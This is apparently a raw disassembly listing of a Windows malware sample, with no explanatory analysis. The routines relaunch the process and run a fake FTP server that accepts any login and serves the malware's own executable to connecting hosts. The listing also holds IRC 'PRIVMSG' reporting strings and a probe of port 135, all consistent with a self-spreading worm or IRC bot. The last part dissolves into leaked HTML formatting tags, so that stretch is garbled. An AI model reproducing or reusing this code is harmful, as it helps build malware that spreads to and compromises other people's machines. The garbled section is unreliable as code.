Assembly Code of File sub_40D1EF


    sub_402795 proc near ; DATA XREF: sub_40D1EF + 14o var_2B8 = dword ptr - 2B8h var_25C = byte ptr - 25Ch var_158 = byte ptr - 158h var_54 = dword ptr - 54h var_48 = dword ptr - 48h var_28 = dword ptr - 28h var_24 = word ptr - 24h var_10 = dword ptr - 10h var_C = dword ptr - 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_434344 call dword_4335AC ; closesocket call sub_41105B call dword_4335B8 ; WSACleanup call dword_4335B8 ; WSACleanup mov ebx, ds:dword_41F000 push 64h call ebx ; Sleep xor eax, eax lea edi, [ ebp + var_10 ] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ ebp + var_54 ] rep stosd mov esi, 104h push esi lea eax, [ ebp + var_158 ] xor edi, edi push eax mov [ ebp + var_48 ], (offset asc_41FA74 + 2) mov [ ebp + var_54 ], 44h mov [ ebp + var_28 ], 1 mov [ ebp + var_24 ], di call ds:dword_41F040 ; GetSystemDirectoryA push esi lea eax, [ ebp + var_25C ] push eax push edi call ds:dword_41F010 ; GetModuleFileNameA lea eax, [ ebp + var_10 ] push eax lea eax, [ ebp + var_54 ] push eax lea eax, [ ebp + var_158 ] push eax push edi push 28h push 1 push edi push edi lea eax, [ ebp + var_25C ] push eax push edi call ds:dword_41F030 ; CreateProcessA test eax, eax jz short loc_402854 push 64h call ebx ; Sleep push [ ebp + var_10 ] mov esi, ds:dword_41F034 call esi ; CloseHandle push [ ebp + var_C ] call esi ; CloseHandle loc_402854: ; CODE XREF: sub_402795 + A9j mov eax, [ ebp + arg_8 ] mov dword ptr [ eax + 0B0h ], offset dword_432FEC mov eax, [ esp + 2B8h + var_2B8 ] mov large fs:0, eax add esp, 8 push edi call ds:dword_41F02C ; ExitProcess int 3 ; Trap to Debugger sub_402795 endp ; sp - analysis failed

    ########################## SUBROUTINE ##########################

    sub_402875 proc near ; CODE XREF: sub_4028A8 + 11Cp ; sub_4028A8 + 145p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov edx, [ ebp + arg_4 ] sub edx, [ ebp + arg_C ] push ebx push esi xor eax, eax test edx, edx push edi jle short loc_40289D loc_402887: ; CODE XREF: sub_402875 + 26j mov esi, [ ebp + arg_0 ] mov ecx, [ ebp + arg_C ] mov edi, [ ebp + arg_8 ] add esi, eax xor ebx, ebx repe cmpsb jz short loc_4028A4 inc eax cmp eax, edx jl short loc_402887 loc_40289D: ; CODE XREF: sub_402875 + 10j xor al, al loc_40289F: ; CODE XREF: sub_402875 + 31j pop edi pop esi pop ebx pop ebp retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4028A4: ; CODE XREF: sub_402875 + 21j mov al, 1 jmp short loc_40289F sub_402875 endp

    ########################## SUBROUTINE ##########################

    sub_4028A8 proc near ; CODE XREF: .text:00412172p var_2010 = byte ptr - 2010h var_200E = byte ptr - 200Eh var_10 = word ptr - 10h var_E = word ptr - 0Eh var_C = dword ptr - 0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_412DD0 mov eax, [ ebp + arg_4 ] dec eax jz short loc_4028E5 dec eax jz short loc_4028C3 dec eax xor eax, eax leave retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4028C3: ; CODE XREF: sub_4028A8 + 14j push 3 push 1388h push [ ebp + arg_0 ] call dword_433514 ; inet_addr push eax call sub_4015FE add esp, 0Ch neg eax sbb eax, eax and eax, 3 leave retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4028E5: ; CODE XREF: sub_4028A8 + 11j push ebx push esi push 6 push 1 push 2 call dword_4334A0 ; socket mov esi, eax or ebx, 0FFFFFFFFh xor eax, eax cmp esi, ebx mov [ ebp + arg_4 ], esi jz loc_402A0A push edi lea edi, [ ebp + var_10 ] stosd stosd stosd stosd push 87h mov [ ebp + var_10 ], 2 call dword_4335EC ; ntohs push [ ebp + arg_0 ] mov [ ebp + var_E ], ax call sub_406B1D pop ecx mov [ ebp + var_C ], eax push 10h lea eax, [ ebp + var_10 ] push eax push esi call dword_433458 ; connect cmp eax, ebx jz short loc_402954 xor edi, edi push edi push 48h push offset dword_42A368 push esi call dword_433534 ; send cmp eax, ebx jnz short loc_40295B loc_402954: ; CODE XREF: sub_4028A8 + 95j ; sub_4028A8 + CCj ... xor esi, esi jmp loc_4029FE ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40295B: ; CODE XREF: sub_4028A8 + AAj push edi mov esi, 2000h push esi lea eax, [ ebp + var_2010 ] push eax push [ ebp + arg_4 ] call dword_433414 ; recv cmp eax, ebx jz short loc_402954 cmp [ ebp + var_200E ], 0Ch jnz short loc_402954 push edi push 18h push offset dword_42A3B4 push [ ebp + arg_4 ] call dword_433534 ; send cmp eax, ebx jz short loc_402954 push edi push esi lea eax, [ ebp + var_2010 ] push eax push [ ebp + arg_4 ] call dword_433414 ; recv mov esi, eax cmp esi, ebx jz short loc_402954 cmp [ ebp + var_200E ], 2 jnz short loc_402954 push 10h push offset loc_42A3D0 lea eax, [ ebp + var_2010 ] push esi push eax call sub_402875 add esp, 10h test al, al jz short loc_4029DE xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_4029FC ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4029DE: ; CODE XREF: sub_4028A8 + 126j push 10h push offset dword_42A3E4 lea eax, [ ebp + var_2010 ] push esi push eax call sub_402875 add esp, 10h neg al sbb eax, eax and eax, 3 loc_4029FC: ; CODE XREF: sub_4028A8 + 134j mov esi, eax loc_4029FE: ; CODE XREF: sub_4028A8 + AEj push [ ebp + arg_4 ] call dword_4335AC ; closesocket mov eax, esi pop edi loc_402A0A: ; CODE XREF: sub_4028A8 + 57j pop esi pop ebx leave retn sub_4028A8 endp

    ########################## SUBROUTINE ##########################

    sub_402A0E proc near ; CODE XREF: sub_402B1D + 4A2p var_1A0 = byte ptr - 1A0h var_10 = word ptr - 10h var_E = word ptr - 0Eh var_C = dword ptr - 0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ ebp + var_1A0 ] push eax push 101h call ds:dword_41F1EC push 0 push 1 push 2 call ds:dword_41F1F0 push [ ebp + arg_0 ] mov dword_432FF0, eax mov [ ebp + var_10 ], 2 call ds:dword_41F1F4 push [ ebp + arg_4 ] mov [ ebp + var_C ], eax call ds:dword_41F204 mov [ ebp + var_E ], ax push 10h lea eax, [ ebp + var_10 ] push eax push dword_432FF0 call ds:dword_41F1F8 cmp eax, 0FFFFFFFFh jnz short loc_402A86 push dword_432FF0 call ds:dword_41F1FC call ds:dword_41F200 xor eax, eax leave retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402A86: ; CODE XREF: sub_402A0E + 60j xor eax, eax inc eax leave retn sub_402A0E endp

    ########################## SUBROUTINE ##########################

    sub_402A8B proc near ; CODE XREF: sub_402B1D + 4AEp var_504 = byte ptr - 504h var_104 = byte ptr - 104h push ebp mov ebp, esp sub esp, 504h push esi push 104h lea eax, [ ebp + var_104 ] push eax push 0 call ds:dword_41F010 ; GetModuleFileNameA lea eax, [ ebp + var_104 ] push offset dword_41F968 push eax call sub_413393 mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_402AF8 jmp short loc_402B1A ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402AC4: ; CODE XREF: sub_402A8B + 72j push 400h lea eax, [ ebp + var_504 ] push 1 push eax call sub_41313E add esp, 10h push 0 push eax lea eax, [ ebp + var_504 ] push eax push dword_432FF0 call ds:dword_41F1E8 push 0Ah call ds:dword_41F000 ; Sleep loc_402AF8: ; CODE XREF: sub_402A8B + 35j test byte ptr [ esi + 0Ch ], 10h push esi jz short loc_402AC4 call sub_412F93 pop ecx push dword_432FF0 call ds:dword_41F1FC call ds:dword_41F200 xor eax, eax inc eax loc_402B1A: ; CODE XREF: sub_402A8B + 37j pop esi leave retn sub_402A8B endp

    ########################## SUBROUTINE ##########################

    sub_402B1D proc near ; DATA XREF: sub_401141 + 254o var_A6C = byte ptr - 0A6Ch var_8DC = byte ptr - 8DCh var_6DC = dword ptr - 6DCh var_6D8 = byte ptr - 6D8h var_4C4 = byte ptr - 4C4h var_444 = dword ptr - 444h var_440 = dword ptr - 440h var_438 = dword ptr - 438h var_334 = byte ptr - 334h var_2D0 = byte ptr - 2D0h var_29C = byte ptr - 29Ch var_238 = byte ptr - 238h var_228 = dword ptr - 228h var_224 = dword ptr - 224h var_220 = dword ptr - 220h var_124 = byte ptr - 124h var_F8 = byte ptr - 0F8h var_C4 = byte ptr - 0C4h var_AC = byte ptr - 0ACh var_48 = byte ptr - 48h var_38 = word ptr - 38h var_36 = word ptr - 36h var_34 = dword ptr - 34h var_28 = byte ptr - 28h var_24 = dword ptr - 24h var_20 = byte ptr - 20h var_1C = dword ptr - 1Ch var_18 = dword ptr - 18h var_14 = byte ptr - 14h var_10 = dword ptr - 10h var_C = byte ptr - 0Ch var_8 = dword ptr - 8 var_4 = dword ptr - 4 arg_0 = dword ptr 8 push ebp lea ebp, [ esp - 74h ] sub esp, 0A6Ch mov eax, [ ebp + 74h + arg_0 ] push ebx push esi push edi mov esi, eax xor ebx, ebx inc ebx mov ecx, 0A9h lea edi, [ ebp + 74h + var_6DC ] rep movsd mov [ eax + 2A0h ], ebx lea eax, [ ebp + 74h + var_A6C ] push eax xor esi, esi push 101h mov [ ebp + 74h + var_18 ], ebx mov [ ebp + 74h + var_1C ], ebx mov [ ebp + 74h + var_228 ], esi mov [ ebp + 74h + var_438 ], esi call ds:dword_41F1EC push esi call sub_413820 push eax call sub_412D64 mov eax, [ ebp + 74h + arg_0 ] mov eax, [ eax + 214h ] pop ecx pop ecx push esi push ebx push 2 mov dword_432FF4, eax call ds:dword_41F1F0 mov ebx, eax push 4 lea eax, [ ebp + 74h + var_18 ] push eax push 4 push 0FFFFh push ebx mov [ ebp + 74h + var_8 ], ebx call ds:dword_41F1C8 lea eax, [ ebp + 74h + var_1C ] push eax push 8004667Eh push ebx call ds:dword_41F1CC xor eax, eax mov ax, word ptr dword_432FF4 mov [ ebp + 74h + var_38 ], 2 mov [ ebp + 74h + var_34 ], esi push eax call ds:dword_41F204 mov [ ebp + 74h + var_36 ], ax push 10h lea eax, [ ebp + 74h + var_38 ] push eax push ebx call ds:dword_41F1D0 test eax, eax jl loc_4030B7 push 0Ah push ebx call ds:dword_41F1D4 push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ ebp + 74h + var_438 ] mov [ ebp + 74h + var_224 ], ebx mov [ ebp + 74h + var_4 ], ebx push eax inc ebx lea esi, [ ebp + 74h + var_228 ] lea edi, [ ebp + 74h + var_438 ] mov [ ebp + 74h + var_228 ], 1 push ebx rep movsd call ds:dword_41F1D8 cmp eax, 0FFFFFFFFh jz loc_4030B7 mov ebx, ds:dword_41F1E8 loc_402C3C: ; CODE XREF: sub_402B1D + 594j xor esi, esi cmp [ ebp + 74h + var_4 ], esi mov [ ebp + 74h + arg_0 ], esi jl loc_403086 loc_402C4A: ; CODE XREF: sub_402B1D + 563j push 19h pop ecx xor eax, eax push 19h lea edi, [ ebp + 74h + var_29C ] rep stosd pop ecx lea edi, [ ebp + 74h + var_AC ] rep stosd lea eax, [ ebp + 74h + var_438 ] push eax push esi call sub_41E8A0 test eax, eax jz loc_403079 cmp esi, [ ebp + 74h + var_8 ] jnz short loc_402CE4 push 10h pop edi lea eax, [ ebp + 74h + var_24 ] push eax lea eax, [ ebp + 74h + var_238 ] push eax push [ ebp + 74h + var_8 ] mov [ ebp + 74h + var_24 ], edi call ds:dword_41F1E0 cmp eax, 0FFFFFFFFh jz loc_403079 mov edx, [ ebp + 74h + var_228 ] xor ecx, ecx test edx, edx jbe short loc_402CB6 loc_402CA8: ; CODE XREF: sub_402B1D + 197j cmp [ ebp + ecx * 4 + 74h + var_224 ], eax jz short loc_402CB6 inc ecx cmp ecx, edx jb short loc_402CA8 loc_402CB6: ; CODE XREF: sub_402B1D + 189j ; sub_402B1D + 192j cmp ecx, edx jnz short loc_402CCC cmp edx, 40h jnb short loc_402CCC mov [ ebp + ecx * 4 + 74h + var_224 ], eax inc [ ebp + 74h + var_228 ] loc_402CCC: ; CODE XREF: sub_402B1D + 19Bj ; sub_402B1D + 1A0j cmp eax, [ ebp + 74h + var_4 ] jle short loc_402CD4 mov [ ebp + 74h + var_4 ], eax loc_402CD4: ; CODE XREF: sub_402B1D + 1B2j push 0 push edi push offset a220Winftpd1_2 ; \"220 WinFtpd 1.2\n\" push eax call ebx jmp loc_403079 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402CE4: ; CODE XREF: sub_402B1D + 15Aj push 0 push 64h lea eax, [ ebp + 74h + var_29C ] push eax push esi call ds:dword_41F1E4 test eax, eax jg short loc_402D42 mov ecx, [ ebp + 74h + var_228 ] xor eax, eax test ecx, ecx jbe short loc_402D36 loc_402D06: ; CODE XREF: sub_402B1D + 1F5j cmp [ ebp + eax * 4 + 74h + var_224 ], esi jz short loc_402D2B inc eax cmp eax, ecx jb short loc_402D06 jmp short loc_402D36 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402D16: ; CODE XREF: sub_402B1D + 211j mov ecx, [ ebp + eax * 4 + 74h + var_220 ] mov [ ebp + eax * 4 + 74h + var_224 ], ecx mov ecx, [ ebp + 74h + var_228 ] inc eax loc_402D2B: ; CODE XREF: sub_402B1D + 1F0j dec ecx cmp eax, ecx jb short loc_402D16 dec [ ebp + 74h + var_228 ] loc_402D36: ; CODE XREF: sub_402B1D + 1E7j ; sub_402B1D + 1F7j push esi call ds:dword_41F1FC jmp loc_403079 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402D42: ; CODE XREF: sub_402B1D + 1DBj lea eax, [ ebp + 74h + var_334 ] push eax lea eax, [ ebp + 74h + var_AC ] push eax lea eax, [ ebp + 74h + var_29C ] push offset aSS_0 ; \"%s %s\" push eax call sub_412D93 add esp, 10h push 5 pop edx mov edi, offset aUser_0 ; \"USER\" lea esi, [ ebp + 74h + var_AC ] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402D81 push eax push 16h push offset a331PasswordReq ; \"331 Password required\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402D81: ; CODE XREF: sub_402B1D + 255j mov edi, offset aPass ; \"PASS\" lea esi, [ ebp + 74h + var_AC ] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402D9E push eax push 14h push offset a230UserLoggedI ; \"230 User logged in.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402D9E: ; CODE XREF: sub_402B1D + 272j mov edi, offset aSyst ; \"SYST\" lea esi, [ ebp + 74h + var_AC ] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402DBB push eax push 0Dh push offset a215Stnyftpd ; \"215 StnyFtpd\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402DBB: ; CODE XREF: sub_402B1D + 28Fj mov edi, offset aRest ; \"REST\" lea esi, [ ebp + 74h + var_AC ] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402DD8 push eax push 10h push offset a350Restarting_ ; \"350 Restarting.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402DD8: ; CODE XREF: sub_402B1D + 2ACj push 4 mov edi, offset off_41FE14 lea esi, [ ebp + 74h + var_AC ] pop ecx xor eax, eax repe cmpsb jnz short loc_402DF6 push eax push 1Eh push offset a257IsCurrentDi ; \"257 \\"/\\" is current directory.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402DF6: ; CODE XREF: sub_402B1D + 2CAj mov eax, offset aType ; \"TYPE\" mov ecx, edx mov edi, eax lea esi, [ ebp + 74h + var_AC ] xor edx, edx repe cmpsb jnz short loc_402E29 push 2 mov edi, offset aA_0 ; \"A\" lea esi, [ ebp + 74h + var_334 ] pop ecx xor edx, edx repe cmpsb jnz short loc_402E29 push edx push 13h push offset a200TypeSetToA_ ; \"200 Type set to A.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402E29: ; CODE XREF: sub_402B1D + 2E9j ; sub_402B1D + 2FDj mov edi, eax push 5 pop eax lea esi, [ ebp + 74h + var_AC ] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_402E5A push 2 mov edi, offset aI ; \"I\" lea esi, [ ebp + 74h + var_334 ] pop ecx xor edx, edx repe cmpsb jnz short loc_402E5A push edx push 13h push offset a200TypeSetToI_ ; \"200 Type set to I.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402E5A: ; CODE XREF: sub_402B1D + 31Aj ; sub_402B1D + 32Ej mov edi, offset aPasv ; \"PASV\" lea esi, [ ebp + 74h + var_AC ] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_402E99 push 0Ah pop ecx mov esi, offset a425PassiveNotS ; \"425 Passive not supported on this serve\"... lea edi, [ ebp + 74h + var_124 ] rep movsd lea eax, [ ebp + 74h + var_124 ] movsw lea edx, [ eax + 1 ] loc_402E85: ; CODE XREF: sub_402B1D + 36Dj mov cl, [ eax ] inc eax test cl, cl jnz short loc_402E85 sub eax, edx push 0 push eax lea eax, [ ebp + 74h + var_124 ] jmp short loc_402ECD ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402E99: ; CODE XREF: sub_402B1D + 34Bj mov edi, offset aList ; \"LIST\" lea esi, [ ebp + 74h + var_AC ] mov ecx, eax xor edx, edx repe cmpsb mov ecx, eax jnz short loc_402ED3 mov esi, offset a226TransferCom ; \"226 Transfer complete\n\" lea edi, [ ebp + 74h + var_C4 ] rep movsd movsw lea eax, [ ebp + 74h + var_C4 ] movsb lea edx, [ eax + 1 ] loc_402EBE: ; CODE XREF: sub_402B1D + 3A6j mov cl, [ eax ] inc eax test cl, cl jnz short loc_402EBE sub eax, edx push 0 push eax lea eax, [ ebp + 74h + var_C4 ] loc_402ECD: ; CODE XREF: sub_402B1D + 37Aj push eax jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402ED3: ; CODE XREF: sub_402B1D + 38Cj mov edi, offset aPort ; \"PORT\" lea esi, [ ebp + 74h + var_AC ] xor edx, edx repe cmpsb jnz loc_402F97 lea eax, [ ebp + 74h + var_2D0 ] push eax lea eax, [ ebp + 74h + var_F8 ] push eax lea eax, [ ebp + 74h + var_28 ] push eax lea eax, [ ebp + 74h + var_20 ] push eax lea eax, [ ebp + 74h + var_14 ] push eax lea eax, [ ebp + 74h + var_C ] push eax lea eax, [ ebp + 74h + var_29C ] push offset aS ; \"% * s %[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^\n ]\"... push eax call sub_412D93 lea eax, [ ebp + 74h + var_F8 ] push eax call sub_412F42 mov esi, eax lea eax, [ ebp + 74h + var_2D0 ] push eax call sub_412F42 push 0Ch mov edx, eax pop ecx xor eax, eax lea edi, [ ebp + 74h + var_F8 ] rep stosd push edx push esi stosw lea eax, [ ebp + 74h + var_F8 ] push offset aXX ; \"%x%x\n\" push eax call sub_412BB5 push 10h lea eax, [ ebp + 74h + var_F8 ] push 0 push eax call sub_413809 mov [ ebp + 74h + var_10 ], eax add esp, 44h lea eax, [ ebp + 74h + var_28 ] push eax lea eax, [ ebp + 74h + var_20 ] push eax lea eax, [ ebp + 74h + var_14 ] push eax lea eax, [ ebp + 74h + var_C ] push eax lea eax, [ ebp + 74h + var_48 ] push offset aS_S_S_S ; \"%s.%s.%s.%s\" push eax call sub_412BB5 add esp, 18h push 0 push 1Dh push offset a200PortCommand ; \"200 PORT command successful.\n\" jmp loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_402F97: ; CODE XREF: sub_402B1D + 3C2j mov edi, offset aRetr ; \"RETR\" lea esi, [ ebp + 74h + var_AC ] mov ecx, eax xor edx, edx repe cmpsb jnz loc_40304C push edx push 28h push offset a150OpeningBina ; \"150 Opening BINARY mode data connection\"... push [ ebp + 74h + arg_0 ] call ebx push [ ebp + 74h + var_10 ] lea eax, [ ebp + 74h + var_48 ] push eax call sub_402A0E cmp eax, 1 pop ecx pop ecx jnz short loc_403041 call sub_402A8B cmp eax, 1 jnz loc_403069 xor esi, esi push esi push 17h push offset a226TransferC_0 ; \"226 Transfer complete.\n\" push [ ebp + 74h + arg_0 ] call ebx lea eax, [ ebp + 74h + var_6D8 ] push eax lea eax, [ ebp + 74h + var_48 ] push eax lea eax, [ ebp + 74h + var_8DC ] push offset aFtpFileTransfe ; \"[ FTP ]: File transfer complete to IP: %s\"... push eax call sub_412BB5 add esp, 10h cmp [ ebp + 74h + var_440 ], esi jnz short loc_403032 push esi push [ ebp + 74h + var_444 ] lea eax, [ ebp + 74h + var_8DC ] push eax lea eax, [ ebp + 74h + var_4C4 ] push eax push [ ebp + 74h + var_6DC ] call sub_4045DD add esp, 14h loc_403032: ; CODE XREF: sub_402B1D + 4F0j lea eax, [ ebp + 74h + var_8DC ] push eax call sub_401C33 pop ecx jmp short loc_403069 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_403041: ; CODE XREF: sub_402B1D + 4ACj push 0 push 20h push offset a425CanTOpenDat ; \"425 Can't open data connection.\n\" jmp short loc_403064 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40304C: ; CODE XREF: sub_402B1D + 488j mov ecx, eax mov edi, offset aQuit ; \"QUIT\" lea esi, [ ebp + 74h + var_AC ] xor eax, eax repe cmpsb jnz short loc_403069 push eax push 0Dh push offset a221Goodbye_ ; \"221 Goodbye.\n\" loc_403064: ; CODE XREF: sub_402B1D + 25Fj ; sub_402B1D + 27Cj ... push [ ebp + 74h + arg_0 ] call ebx loc_403069: ; CODE XREF: sub_402B1D + 4B6j ; sub_402B1D + 522j ... mov esi, [ ebp + 74h + arg_0 ] push 19h pop ecx xor eax, eax lea edi, [ ebp + 74h + var_29C ] rep stosd loc_403079: ; CODE XREF: sub_402B1D + 151j ; sub_402B1D + 179j ... inc esi cmp esi, [ ebp + 74h + var_4 ] mov [ ebp + 74h + arg_0 ], esi jle loc_402C4A loc_403086: ; CODE XREF: sub_402B1D + 127j push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ ebp + 74h + var_438 ] push eax mov eax, [ ebp + 74h + var_4 ] inc eax lea esi, [ ebp + 74h + var_228 ] lea edi, [ ebp + 74h + var_438 ] push eax rep movsd call ds:dword_41F1D8 cmp eax, 0FFFFFFFFh jnz loc_402C3C loc_4030B7: ; CODE XREF: sub_402B1D + C9j ; sub_402B1D + 113j pop edi xor eax, eax pop esi inc eax pop ebx add ebp, 74h leave retn 4 sub_402B1D endp

    ########################## SUBROUTINE ##########################

    sub_4030C4 proc near ; CODE XREF: sub_4039DE + 149p ; sub_4078FA + 355Dp var_598 = byte ptr - 598h var_494 = byte ptr - 494h var_38C = dword ptr - 38Ch var_378 = byte ptr - 378h var_36C = dword ptr - 36Ch var_360 = byte ptr - 360h var_24C = byte ptr - 24Ch var_4C = byte ptr - 4Ch var_24 = byte ptr - 24h var_1C = word ptr - 1Ch var_1A = word ptr - 1Ah var_16 = word ptr - 16h var_14 = word ptr - 14h var_12 = word ptr - 12h var_C = dword ptr - 0Ch var_8 = dword ptr - 8 var_4 = dword ptr - 4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 598h push ebx push esi push edi push 41h pop ecx xor eax, eax lea edi, [ ebp + var_598 ] rep stosd mov edi, [ ebp + arg_0 ] xor ebx, ebx push offset asc_420328 ; \"\n\" push edi mov [ ebp + var_4 ], ebx mov [ ebp + var_8 ], ebx call sub_413859 cmp [ ebp + arg_8 ], ebx pop ecx pop ecx jz short loc_40311D push edi push [ ebp + arg_8 ] mov esi, 200h push offset aPrivmsgSSearch ; \"PRIVMSG %s :Searching for: %s\r\n\" lea eax, [ ebp + var_24C ] push esi push eax call sub_412E0D add esp, 14h jmp loc_40323A ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40311D: ; CODE XREF: sub_4030C4 + 34j cmp [ ebp + arg_C ], ebx jz loc_40321F mov eax, edi lea ecx, [ eax + 1 ] loc_40312B: ; CODE XREF: sub_4030C4 + 6Cj mov dl, [ eax ] inc eax test dl, dl jnz short loc_40312B push edi sub eax, ecx and [ eax + edi - 1 ], dl push offset aHtmlHeadTitleI ; \"\r\n\r\nIndex of %s</TIT\"... mov esi, <font color=brown>200h</font> lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> lea eax, [ ebp<font color=blue> + </font>var_24C ] add esp, <font color=brown>10h</font> lea ecx, [ eax<font color=blue> + </font>1 ] <a name="loc_40315C"> <font color=red>loc_40315C:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>9Dj mov dl, [ eax ] inc eax <font color=red>test</font> dl, dl <font color=red>jnz</font> short <font color=red><a href="#loc_40315C">loc_40315C</a></font> <font color=blue>push</font> ebx sub eax, ecx <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_4 ] <font color=green>call</font> dword_433534 ; <a href="http://msdn2.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx" onclick="return popup(this,'api_info')">send</a> <font color=blue>push</font> edi <font color=blue>push</font> <font color=green>offset</font> aH1IndexOfSH1Ta ; \"<H1>Index of %s</H1>\r\n<TABLE BORDER=\\"0\\"\"... lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> lea eax, [ ebp<font color=blue> + </font>var_24C ] add esp, <font color=brown>10h</font> lea ecx, [ eax<font color=blue> + </font>1 ] <a name="loc_403196"> <font color=red>loc_403196:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>D7j mov dl, [ eax ] inc eax <font color=red>test</font> dl, dl <font color=red>jnz</font> short <font color=red><a href="#loc_403196">loc_403196</a></font> <font color=blue>push</font> ebx sub eax, ecx <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_4 ] <font color=green>call</font> dword_433534 ; <a href="http://msdn2.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx" onclick="return popup(this,'api_info')">send</a> mov eax, edi lea ecx, [ eax<font color=blue> + </font>1 ] <a name="loc_4031B6"> <font color=red>loc_4031B6:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>F7j mov dl, [ eax ] inc eax <font color=red>test</font> dl, dl <font color=red>jnz</font> short <font color=red><a href="#loc_4031B6">loc_4031B6</a></font> <font color=blue>push</font> <font color=brown>3Ch</font> <font color=blue>push</font> <font color=brown>96h</font> <font color=blue>push</font> <font color=brown>0E6h</font> sub eax, ecx <font color=blue>push</font> <font color=green>offset</font> aTrTdWidthDCode ; \"<TR>\r\n<TD WIDTH=\\"%d\\"><CODE>Name</CODE><\"... 